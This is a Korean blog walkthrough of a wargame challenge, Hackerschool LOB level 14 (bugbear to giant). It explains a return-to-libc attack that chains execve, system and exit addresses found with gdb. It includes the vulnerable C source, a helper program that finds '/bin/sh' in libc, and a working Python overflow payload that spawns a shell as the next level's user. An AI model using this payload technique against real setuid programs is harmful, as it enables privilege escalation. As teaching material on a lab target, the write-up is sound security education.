반응형

 

해커스쿨 LOB LEVEL14 [bugbear -> giant] 풀이


M4ndU




해커스쿨 LOB [bugbear -> giant] 풀이입니다.


ID | bugbear

PW | new attacker

으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: bugbear

Password:

[bugbear@localhost bugbear]$ bash2

[bugbear@localhost bugbear]$ ls -l

total 20

-rwsr-sr-x    1 giant    giant       12933 Mar  9  2010 giant

-rw-r--r--    1 root     root          920 Mar 29  2010 giant.c

[bugbear@localhost bugbear]$ cat giant.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - giant

        - RTL2

*/


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


main(int argc, char *argv[])

{

        char buffer[40];

        FILE *fp;

        char *lib_addr, *execve_offset, *execve_addr;

        char *ret;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // gain address of execve

        fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");

        fgets(buffer, 255, fp);

        sscanf(buffer, "(%x)", &lib_addr);

        fclose(fp);


        fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");

        fgets(buffer, 255, fp);

        sscanf(buffer, "%x", &execve_offset);

        fclose(fp);


        execve_addr = lib_addr + (int)execve_offset;

        // end


        memcpy(&ret, &(argv[1][44]), 4);

        if(ret != execve_addr)

        {

                printf("You must use execve!\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

}



이번에는 메인함수의 리턴주소가 execve함수의 주소이네요.
하지만 구지 execve를 통해 쉘을 따야 하는 것은 아닙니다. 메인함수의 리턴주소만 execve함수 주소로 해주고 execve의 리턴주소를 system함수 주소로 덮어주어 system함수를 통해 쉘을 딸 수도 있습니다.

그럼 execve(),system(),exit()의 주소를 구해줍니다.


[bugbear@localhost bugbear]$ mkdir tmp
[bugbear@localhost bugbear]$ cp giant tmp/
[bugbear@localhost bugbear]$ cd tmp/
[bugbear@localhost tmp]$ gdb giant -q
(gdb) b main
Breakpoint 1 at 0x8048566
(gdb) r
Starting program: /home/bugbear/tmp/giant

Breakpoint 1, 0x8048566 in main ()
(gdb) p execve
$1 = {<text variable, no debug info>} 0x400a9d48 <__execve>
(gdb) p system
$2 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb) p exit
$3 = {void (int)} 0x400391e0 <exit>


execve() 0x400a9d48
system() 0x40058ae0
exit() 0x400391e0


그리고 system()의 주소를 이용해서 "/bin/sh"의 주소도 구해줍니다.

echo 'int main(){long system = 0x40058ae0; while(memcmp((void *)system, "/bin/sh", 8)) system++; printf("%p\n", system);}' >getsystem.c


[bugbear@localhost tmp]$ echo 'int main(){long system = 0x40058ae0; while(memcmp((void *)system, "/bin/sh", 8)) system++; printf("%p\n", system);}' >getsystem.c
[bugbear@localhost tmp]$ gcc -o getsystem getsystem.c
[bugbear@localhost tmp]$ ./getsystem
0x400fbff9

&"/bin/sh" 0x400fbff9

필요한 주소를 모두 구했으니 페이로드를 구성합니다.
exit()은 system()의 리턴주소를 덮습니다.

dummy[44]+execve()[4]+system()[4]+exit()[4]+&"/bin/sh"[4]+&NULL[4]

./giant `python -c 'print "D"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"+"\xfc\xff\xff\xbf"'`

[bugbear@localhost tmp]$ ./giant `python -c 'print "D"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"'`
ldd: /home/giant/assassin: No such file or directory
You must use execve!

엇 execve()의 주소가 맞지 않는 것 처럼 문장이 출력되었습니다.
찾아보니 원인은 \x0a때문이었습니다.
""으로 감싸주어서 문자열 처리를 해준다면 해결이 된다고 합니다.


./giant "`python -c 'print "D"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"+"\xfc\xff\xff\xbf"'`"


[bugbear@localhost bugbear]$ ./giant "`python -c 'print "D"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"+"\xfc\xff\xff\xbf"'`"

DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDH?

@?@?@廈@??

bash$ my-pass

euid = 514

one step closer



다음레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ


반응형

+ Recent posts